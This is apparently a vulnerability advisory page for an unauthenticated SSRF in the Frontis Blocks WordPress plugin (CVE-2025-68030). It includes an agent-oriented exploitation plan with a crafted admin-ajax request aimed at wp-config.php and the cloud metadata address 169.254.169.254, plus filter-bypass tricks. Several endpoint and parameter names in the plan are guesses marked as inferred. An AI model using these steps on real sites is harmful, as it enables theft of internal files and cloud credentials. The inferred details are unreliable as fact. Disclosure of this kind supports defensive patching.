Frontis Blocks <= 1.1.5 - Unauthenticated Server-Side Request Forgery
Description
The Frontis Blocks — Block Library for the Block Editor plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.1.5. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application which can be used to query and modify information from internal services.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:NTechnical Details
<=1.1.5Source Code
WordPress.org SVNThis plan outlines the steps to research and exploit **CVE-2025-68030**, an unauthenticated Server-Side Request Forgery (SSRF) in the **Frontis Blocks** WordPress plugin (versions <= 1.1.5). ### 1. Vulnerability Summary The Frontis Blocks plugin contains a functionality that allows fetching content…
Show full research plan
This plan outlines the steps to research and exploit CVE-2025-68030, an unauthenticated Server-Side Request Forgery (SSRF) in the Frontis Blocks WordPress plugin (versions <= 1.1.5).
1. Vulnerability Summary
The Frontis Blocks plugin contains a functionality that allows fetching content from remote URLs, typically used for dynamic blocks like "Remote JSON" or "Social Feed" previews. The vulnerability exists because an unauthenticated AJAX handler (likely wp_ajax_nopriv_*) or a REST API route accepts a user-provided URL and fetches its content using a sink like wp_remote_get() without sufficient validation or restriction to external domains.
2. Attack Vector Analysis
- Endpoint:
admin-ajax.php(viawp_ajax_nopriv_action) or a custom REST API endpoint (/wp-json/frontis-blocks/v1/...). - Vulnerable Action (Inferred): Likely
frontis_get_remote_dataorfrontis_blocks_proxy_url. - Parameter: A parameter named
url,src, orendpointcontaining the target URI. - Authentication: Unauthenticated (accessible to any visitor).
- Preconditions: The plugin must be active. If a nonce is required, it must be retrievable from the public-facing site.
3. Code Flow Analysis
To identify the exact path, the agent must:
- Locate Entry Point:
grep -rE "wp_ajax_nopriv_|register_rest_route" wp-content/plugins/frontis-blocks/ - Trace to Sink:
Search for HTTP request functions within the callback function of the identified action:grep -rnE "wp_remote_get|wp_remote_request|wp_safe_remote_get|curl_exec|file_get_contents" wp-content/plugins/frontis-blocks/ - Analyze Validation:
Look for calls tosanitize_url(),esc_url_raw(), or custom domain allow-lists. In a vulnerable version, these will either be missing or fail to prevent requests tolocalhostor internal IPs (e.g.,127.0.0.1,169.254.169.254).
4. Nonce Acquisition Strategy
If the handler performs a check_ajax_referer() or wp_verify_nonce() check:
- Find the Localized Variable: Look for
wp_localize_scriptin the plugin code to find the JS object name and nonce key.grep -r "wp_localize_script" wp-content/plugins/frontis-blocks/ - Identify the Shortcode/Block: Determine which block triggers this script (e.g.,
frontis-remote-json). - Setup Page:
wp post create --post_type=page --post_status=publish --post_title="SSRF Discovery" --post_content='[frontis_block_shortcode_found_above]' - Extract via Browser:
- Navigate to the newly created page.
- Execute:
browser_eval("window.frontis_blocks_settings?.nonce")(Replacefrontis_blocks_settingswith the actual JS object name found in step 1).
5. Exploitation Strategy
The goal is to force the server to request an internal resource.
- Target:
http://127.0.0.1:80/(Internal loopback) orhttp://169.254.169.254/latest/meta-data/(Cloud metadata). - HTTP Request:
(Note: If it's a GET-based handler, use URL parameters).POST /wp-admin/admin-ajax.php HTTP/1.1 Host: target.local Content-Type: application/x-www-form-urlencoded action=[ACTION_NAME]&url=http://127.0.0.1/wp-config.php&_ajax_nonce=[NONCE]
6. Test Data Setup
- Install and activate Frontis Blocks 1.1.5.
- If the vulnerability requires a specific block settings configuration, use WP-CLI to set it:
# Example (inferred) wp option update frontis_blocks_allow_remote "1" - Identify a block that makes remote requests and place it on a public page to facilitate nonce extraction if needed.
7. Expected Results
- Vulnerable Response: The HTTP response body contains the HTML/content of the internal URL requested (e.g., the contents of the WordPress login page or cloud metadata).
- Status Code:
200 OKor201 Createdwith the remote data in the JSON response. - Error Indication (Patched): A
403 Forbiddenor a response indicating the URL is invalid or the domain is not allowed.
8. Verification Steps
- Check the server's access logs to see the request originating from its own IP to the loopback address:
tail -n 20 /var/log/apache2/access.log - Use
http_requestto hit a collaborator/listener URL (likehttp://webhook.site) and verify the server's outbound IP is the one making the request.
9. Alternative Approaches
If the primary AJAX action is not unauthenticated:
- REST API: Check
wp-json/frontis-blocks/v1/...routes. Many block plugins register REST routes with'permission_callback' => '__return_true'for frontend data fetching. - Gutenberg Block Previews: Check if the vulnerability is triggered during the REST API call that generates block previews (
/wp-json/wp/v2/block-renderer/...). - Redirect Bypass: If there is a basic regex check, attempt to bypass using:
- Enclosed alphanumerics:
http://①②⑦.⓪.⓪.① - Decimal IP:
http://2130706433 - Domain redirect:
http://attacker-controlled-domain.comwhich redirects to127.0.0.1.
- Enclosed alphanumerics:
Summary
The Frontis Blocks plugin for WordPress is vulnerable to unauthenticated Server-Side Request Forgery (SSRF) in versions up to 1.1.5. This allows attackers to make arbitrary web requests to internal or external resources via a vulnerable functionality used for fetching remote content, such as JSON or social feeds.
Exploit Outline
1. Identify the AJAX action (likely frontis_get_remote_data or frontis_blocks_proxy_url) used by the plugin to fetch remote content for blocks. 2. Determine if a nonce is required by inspecting the localized JavaScript variables on the frontend (e.g., within window.frontis_blocks_settings). 3. Craft a request to the admin-ajax.php endpoint (or a similar REST API route) with a 'url' or 'src' parameter containing the target internal address, such as http://127.0.0.1/wp-config.php or http://169.254.169.254/latest/meta-data/. 4. Send the request unauthenticated. The server-side code will process the request using wp_remote_get without proper domain validation, returning the contents of the internal resource.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.